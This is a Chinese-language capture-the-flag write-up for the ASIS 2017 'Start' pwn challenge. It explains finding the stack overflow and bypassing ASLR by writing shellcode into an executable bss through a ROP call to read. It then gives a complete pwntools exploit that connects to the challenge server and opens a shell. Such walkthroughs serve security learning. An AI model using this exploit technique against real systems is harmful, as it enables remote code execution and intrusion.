ASIS-2017-PWN-Start-Record

1. 检查安全性
pwn checksec {file}
    没有 canary 和 NX 爽的飞起

2. 确定溢出位置

    gdb 调试环境影响 buf 在内存的位置, 所以要根据 core dump 来看buf地址。
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
pwn cyclic -n 8 200
gdb {file} core # -> crash_addr
pwn cyclic -n 8 -l {crash_addr} # -> x:('a' * x + {ret_addr})
3. pwntools 脚本走起

    直接栈上 shellcode 居然跪了,显然服务器端开启了ASLR

4. Bypass ASLR

    * 程序没有调用 system 函数, 没法使用 system_plt 来调用真实地址
    * 程序没有用 write 函数不知道该怎么把 base addr 泄露回来

5. Read writeup

        http://look3little.blogspot.com/2017/04/writeupasis2017-start-89-pwn-warmup.html

    * bss 地址是固定的
    * bss 区是可执行的
 
    所以思路就是把shellcode写到bss中, 然后rop执行之。
 
    获取 bss 地址的方法:  
    * objdump -h {file}
    * pwntools: elf.bss()

6. ROP

    x64 寄存器传参, RDI,RSI, RDX, RCX, ...
 
    ROPGadget 寻找 控制 RDI, RSI 及 RDX,对应 read 的三个参数。
 
    如果没有则可以考虑“universal gaget”, 但在本题中,RDI 和 RDX的值刚好合适, 只需填RSI即可, ROPGadget 可以找到 RSI 相关的 gadget: pop_rsi_r15_ret。
ROPgadget --binary {file} --only 'pop|rsi|ret'
7. 写 pwntools 脚本
from pwn import *
p = remote('139.59.114.220', 10001)
elf = ELF('./Start')
context.arch = 'amd64'
bss_addr = elf.bss()
read_plt = elf.symbols['read']
print hex(read_plt)
shellcode = asm(shellcraft.amd64.linux.sh())
print shellcode
pop_rsi_r15_ret = 0x00000000004005c1
payload = flat([
    'a' * 24,
    p64(pop_rsi_r15_ret),
    p64(bss_addr),
    p64(0),
    p64(read_plt),
    p64(bss_addr)
])
print payload
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
    第 4 行: context.arch = 'amd64' 一定要加, 不然第 8 行 asm 会报错, 我记得我之前不加是可以的, 不清楚什么原因。


评论